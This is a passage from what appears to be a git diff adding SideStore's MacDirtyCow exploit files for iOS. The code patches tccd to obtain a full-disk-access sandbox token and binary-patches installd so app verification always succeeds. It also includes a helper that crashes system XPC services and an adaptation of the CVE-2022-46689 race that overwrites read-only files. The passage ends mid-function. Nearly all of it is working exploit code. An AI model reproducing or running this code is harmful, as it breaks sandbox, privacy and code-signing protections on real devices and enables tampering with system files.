[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:2
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
|
||||
}];
|
||||
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||
returnError = [NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:3
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
|
||||
@"instead of an app sandbox token."
|
||||
}];
|
||||
extension_token = nil;
|
||||
}
|
||||
completion(extension_token, returnError);
|
||||
});
|
||||
}
|
||||
|
||||
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||
// class introduced in iOS 15.0.
|
||||
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:6
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey :
|
||||
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
|
||||
@"reverted after reboot, so running this may permanently corrupt tccd."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||
inDomains:NSUserDomainMask][0];
|
||||
NSURL* sourceURL =
|
||||
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
|
||||
NSError* error = nil;
|
||||
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
if (cachedToken) {
|
||||
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
|
||||
if (handle > 0) {
|
||||
// cached version worked
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
}
|
||||
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||
if (error) {
|
||||
completion(error);
|
||||
return;
|
||||
}
|
||||
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
|
||||
if (handle <= 0) {
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:4
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
|
||||
return;
|
||||
}
|
||||
[extension_token writeToURL:sourceURL
|
||||
atomically:true
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
completion(nil);
|
||||
});
|
||||
}
|
||||
|
||||
/// MARK - installd patch
|
||||
|
||||
struct installd_remove_app_limit_offsets {
|
||||
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||
uint64_t offset_data_const_end_padding;
|
||||
// MIUninstallRecord::supportsSecureCoding
|
||||
uint64_t offset_return_true;
|
||||
};
|
||||
|
||||
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
|
||||
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||
.offset_data_const_end_padding = 0x79c38,
|
||||
.offset_return_true = 0x19860,
|
||||
};
|
||||
|
||||
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
|
||||
size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
if ((val & 0xfffffffful) != str_file_offset) {
|
||||
continue;
|
||||
}
|
||||
// baseMethods
|
||||
if (*(uint64_t*)(executable_map + i + 8) != 0) {
|
||||
return i + 8;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
|
||||
// mov w0, #1
|
||||
// ret
|
||||
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
}
|
||||
|
||||
static bool patchfind_installd(void* executable_map, size_t executable_length,
|
||||
struct installd_remove_app_limit_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
|
||||
"MIInstallableBundle")) == 0) {
|
||||
printf("no MIInstallableBundle class_rw_t\n");
|
||||
return false;
|
||||
}
|
||||
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||
(*(uint64_t*)(executable_map +
|
||||
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||
0xffffffull;
|
||||
|
||||
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
|
||||
0) {
|
||||
printf("no return true\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
struct objc_method {
|
||||
int32_t name;
|
||||
int32_t types;
|
||||
int32_t imp;
|
||||
};
|
||||
|
||||
struct objc_method_list {
|
||||
uint32_t entsizeAndFlags;
|
||||
uint32_t count;
|
||||
struct objc_method methods[];
|
||||
};
|
||||
|
||||
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||
uint64_t new_offset, uint64_t* out_copied_length,
|
||||
void (^callback)(const char* sel,
|
||||
uint64_t* inout_function_pointer)) {
|
||||
struct objc_method_list* original_list = mutableBytes + old_offset;
|
||||
struct objc_method_list* new_list = mutableBytes + new_offset;
|
||||
*out_copied_length =
|
||||
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
|
||||
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
|
||||
new_list->count = original_list->count;
|
||||
for (int method_index = 0; method_index < original_list->count; method_index++) {
|
||||
struct objc_method* method = &original_list->methods[method_index];
|
||||
// Relative pointers
|
||||
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
|
||||
uint64_t types_file_offset =
|
||||
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
|
||||
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
|
||||
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
|
||||
callback(sel, &imp_file_offset);
|
||||
|
||||
struct objc_method* new_method = &new_list->methods[method_index];
|
||||
new_method->name = (int32_t)((int64_t)name_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
|
||||
new_method->types = (int32_t)((int64_t)types_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
|
||||
new_method->imp = (int32_t)((int64_t)imp_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
|
||||
}
|
||||
};
|
||||
|
||||
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
|
||||
struct installd_remove_app_limit_offsets offsets = {};
|
||||
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||
uint64_t copied_size = 0;
|
||||
uint64_t new_method_list_offset = current_empty_space;
|
||||
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||
current_empty_space, &copied_size,
|
||||
^(const char* sel, uint64_t* inout_address) {
|
||||
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||
return;
|
||||
}
|
||||
*inout_address = offsets.offset_return_true;
|
||||
});
|
||||
current_empty_space += copied_size;
|
||||
((struct
|
||||
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
|
||||
->target = new_method_list_offset;
|
||||
return data;
|
||||
}
|
||||
|
||||
bool patch_installd() {
|
||||
const char* targetPath = "/usr/libexec/installd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = make_patch_installd(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
NSLog(@"can't patchfind");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
NSLog(@"can't overwrite");
|
||||
return false;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
xpc_crasher("com.apple.mobile.installd");
|
||||
sleep(1);
|
||||
|
||||
// TODO(zhuowei): for now we revert it once installd starts
|
||||
// so the change will only last until when this installd exits
|
||||
overwrite_file(fd, originalData);
|
||||
return true;
|
||||
}
|
||||
20
MacDirtyCow/helpers.h
Normal file
@@ -0,0 +1,20 @@
|
||||
//
|
||||
// helpers.h
|
||||
// AltStore
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef helpers_h
|
||||
#define helpers_h
|
||||
|
||||
char* get_temp_file_path(void);
|
||||
void test_nsexpressions(void);
|
||||
char* set_up_tmp_file(void);
|
||||
|
||||
void xpc_crasher(char* service_name);
|
||||
|
||||
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||
|
||||
#endif /* helpers_h */
|
||||
138
MacDirtyCow/helpers.m
Normal file
@@ -0,0 +1,138 @@
|
||||
//
|
||||
// helpers.m
|
||||
// MacDirtyCow
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <dirent.h>
|
||||
|
||||
char* get_temp_file_path(void) {
|
||||
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||
}
|
||||
|
||||
// create a read-only test file we can target:
|
||||
char* set_up_tmp_file(void) {
|
||||
char* path = get_temp_file_path();
|
||||
printf("path: %s\n", path);
|
||||
|
||||
FILE* f = fopen(path, "w");
|
||||
if (!f) {
|
||||
printf("opening the tmp file failed...\n");
|
||||
return NULL;
|
||||
}
|
||||
char* buf = malloc(PAGE_SIZE*10);
|
||||
memset(buf, 'A', PAGE_SIZE*10);
|
||||
fwrite(buf, PAGE_SIZE*10, 1, f);
|
||||
//fclose(f);
|
||||
return path;
|
||||
}
|
||||
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||
|
||||
struct xpc_w00t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
mach_port_t get_send_once(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right extraction failed: %s\n", mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
|
||||
return so;
|
||||
}
|
||||
|
||||
// copy-pasted from an exploit I wrote in 2019...
|
||||
// still works...
|
||||
|
||||
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||
|
||||
void xpc_crasher(char* service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if(err != KERN_SUCCESS){
|
||||
printf("unable to look up %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("bad service port\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// allocate the client and reply port:
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_send_once(client_port);
|
||||
mach_port_t so1 = get_send_once(client_port);
|
||||
|
||||
// insert a send so we maintain the ability to send to this port
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right insertion failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = service_port;
|
||||
msg.hdr.msgh_id = 'w00t';
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.client_port.name = client_port;
|
||||
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.reply_port.name = reply_port;
|
||||
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("w00t message send failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
} else {
|
||||
printf("sent xpc w00t message\n");
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), so0);
|
||||
mach_port_deallocate(mach_task_self(), so1);
|
||||
|
||||
return;
|
||||
}
|
||||
20
MacDirtyCow/vm_unaligned_copy_switch_race.h
Normal file
@@ -0,0 +1,20 @@
|
||||
//
|
||||
// vm_unaligned_copy_switch_race.h
|
||||
// AltStore
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef vm_unaligned_copy_switch_race_h
|
||||
#define vm_unaligned_copy_switch_race_h
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
|
||||
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
|
||||
|
||||
#endif /* vm_unaligned_copy_switch_race_h */
|
||||
370
MacDirtyCow/vm_unaligned_copy_switch_race.m
Normal file
@@ -0,0 +1,370 @@
|
||||
//
|
||||
// vm_unaligned_copy_switch_race.m
|
||||
// MacDirtyCow
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
|
||||
// modified to compile outside of XNU
|
||||
|
||||
#include <pthread.h>
|
||||
#include <dispatch/dispatch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include "vm_unaligned_copy_switch_race.h"
|
||||
|
||||
#define T_QUIET
|
||||
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||
#define T_EXPECT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
|
||||
#define T_ASSERT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_POSIX_SUCCESS(a, b)
|
||||
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_TRUE(a, b, ...)
|
||||
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
#define T_DECL(a, b) static void a(void)
|
||||
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
|
||||
struct context1 {
|
||||
vm_size_t obj_size;
|
||||
vm_address_t e0;
|
||||
mach_port_t mem_entry_ro;
|
||||
mach_port_t mem_entry_rw;
|
||||
dispatch_semaphore_t running_sem;
|
||||
pthread_mutex_t mtx;
|
||||
volatile bool done;
|
||||
};
|
||||
|
||||
static void *
|
||||
switcheroo_thread(__unused void *arg)
|
||||
{
|
||||
kern_return_t kr;
|
||||
struct context1 *ctx;
|
||||
|
||||
ctx = (struct context1 *)arg;
|
||||
/* tell main thread we're ready to run */
|
||||
dispatch_semaphore_signal(ctx->running_sem);
|
||||
while (!ctx->done) {
|
||||
/* wait for main thread to be done setting things up */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
if (ctx->done) {
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
break;
|
||||
}
|
||||
/* switch e0 to RW mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_rw,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
/* switch bakc to original RO mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||
/* tell main thread we're don switching mappings */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
usleep(100);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
|
||||
bool retval = false;
|
||||
pthread_t th = NULL;
|
||||
int ret;
|
||||
kern_return_t kr;
|
||||
time_t start, duration;
|
||||
#if 0
|
||||
mach_msg_type_number_t cow_read_size;
|
||||
#endif
|
||||
vm_size_t copied_size;
|
||||
int loops;
|
||||
vm_address_t e2, e5;
|
||||
struct context1 context1, *ctx;
|
||||
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||
vm_address_t ro_addr, tmp_addr;
|
||||
memory_object_size_t mo_size;
|
||||
|
||||
ctx = &context1;
|
||||
ctx->obj_size = 256 * 1024;
|
||||
|
||||
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
|
||||
if (file_mapped == MAP_FAILED) {
|
||||
fprintf(stderr, "failed to map\n");
|
||||
return false;
|
||||
}
|
||||
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
|
||||
fprintf(stderr, "already the same?\n");
|
||||
munmap(file_mapped, ctx->obj_size);
|
||||
return true;
|
||||
}
|
||||
ro_addr = (vm_address_t)file_mapped;
|
||||
|
||||
ctx->e0 = 0;
|
||||
ctx->running_sem = dispatch_semaphore_create(0);
|
||||
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
|
||||
ret = pthread_mutex_init(&ctx->mtx, NULL);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||
ctx->done = false;
|
||||
ctx->mem_entry_rw = MACH_PORT_NULL;
|
||||
ctx->mem_entry_ro = MACH_PORT_NULL;
|
||||
#if 0
|
||||
/* allocate our attack target memory */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&ro_addr,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||
/* initialize to 'A' */
|
||||
memset((char *)ro_addr, 'A', ctx->obj_size);
|
||||
#endif
|
||||
|
||||
/* make it read-only */
|
||||
kr = vm_protect(mach_task_self(),
|
||||
ro_addr,
|
||||
ctx->obj_size,
|
||||
TRUE, /* set_maximum */
|
||||
VM_PROT_READ);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||
/* make sure we can't get read-write handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_ro,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||
/* take read-only handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||
&ctx->mem_entry_ro,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
/* make sure we can't map target memory as writable */
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
|
||||
/* allocate a source buffer for the unaligned copy */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e5,
|
||||
ctx->obj_size * 2,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||
/* initialize to 'C' */
|
||||
memset((char *)e5, 'C', ctx->obj_size * 2);
|
||||
|
||||
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
|
||||
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
|
||||
|
||||
int overwrite_first_diff_offset = -1;
|
||||
char overwrite_first_diff_value = 0;
|
||||
for (int off = 0; off < overwrite_length; off++) {
|
||||
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||
overwrite_first_diff_offset = off;
|
||||
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||
}
|
||||
}
|
||||
if (overwrite_first_diff_offset == -1) {
|
||||
fprintf(stderr, "no diff?\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
/*
|
||||
* get a handle on some writable memory that will be temporarily
|
||||
* switched with the read-only mapping of our target memory to try
|
||||
* and trick copy_unaligned to write to our read-only target.
|
||||
*/
|
||||
tmp_addr = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||
/* initialize to 'D' */
|
||||
memset((char *)tmp_addr, 'D', ctx->obj_size);
|
||||
/* get a memory entry handle for that RW memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
tmp_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_rw,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||
tmp_addr = 0;
|
||||
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
|
||||
/* start racing thread */
|
||||
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
|
||||
/* wait for racing thread to be ready to run */
|
||||
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
|
||||
|
||||
duration = 10; /* 10 seconds */
|
||||
T_LOG("Testing for %ld seconds...", duration);
|
||||
for (start = time(NULL), loops = 0;
|
||||
time(NULL) < start + duration;
|
||||
loops++) {
|
||||
/* reserve space for our 2 contiguous allocations */
|
||||
e2 = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
2 * ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||
|
||||
/* make 1st allocation in our reserved space */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||
/* initialize to 'B' */
|
||||
memset((char *)e2, 'B', ctx->obj_size);
|
||||
|
||||
/* map our read-only target memory right after */
|
||||
ctx->e0 = e2 + ctx->obj_size;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
